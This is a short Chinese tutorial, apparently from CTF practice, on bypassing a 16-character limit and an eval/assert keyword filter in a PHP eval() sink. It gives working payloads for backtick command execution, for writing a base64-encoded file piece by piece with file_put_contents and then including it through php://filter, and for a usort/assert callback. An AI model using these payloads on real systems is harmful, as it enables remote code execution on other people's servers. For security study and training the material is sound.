目录
EVAL长度限制
- 如下PHP代码将param限制为16位,我们又能做些什么
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
此时我们可用传递phpinfo测试是否正常,显然phpinfo();小于17位并没有eval、assert等出现当然可以通过
那如果我们想要执行超过16位的语句呢?
可以使用到到如下方法进行绕过
方法1:
`$_GET[1]`
此时长度为10并未大于16
进行命令执行转代码执行,因为在Linux下的反引号(``)是可以用来执行命令的
如:
echo `pwd`
方法2:
$_GET[1](S,A,8);&1=file_put_contents
刚好16位
向S这个文件插入A
既然这样我们可以逐字插入插入的代码
很明显插入成功了
再插入我们经过base64编码的构造的php代码
最后通过include文件包含执行
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=S
方法3:
仅5.6+变长参数+usort回调
1[]=test&1[]=phpinfo();&2=assert
发现并没反应是吧,那是因为没有GET接受参数放进usort
这里我们用到burp进行抓包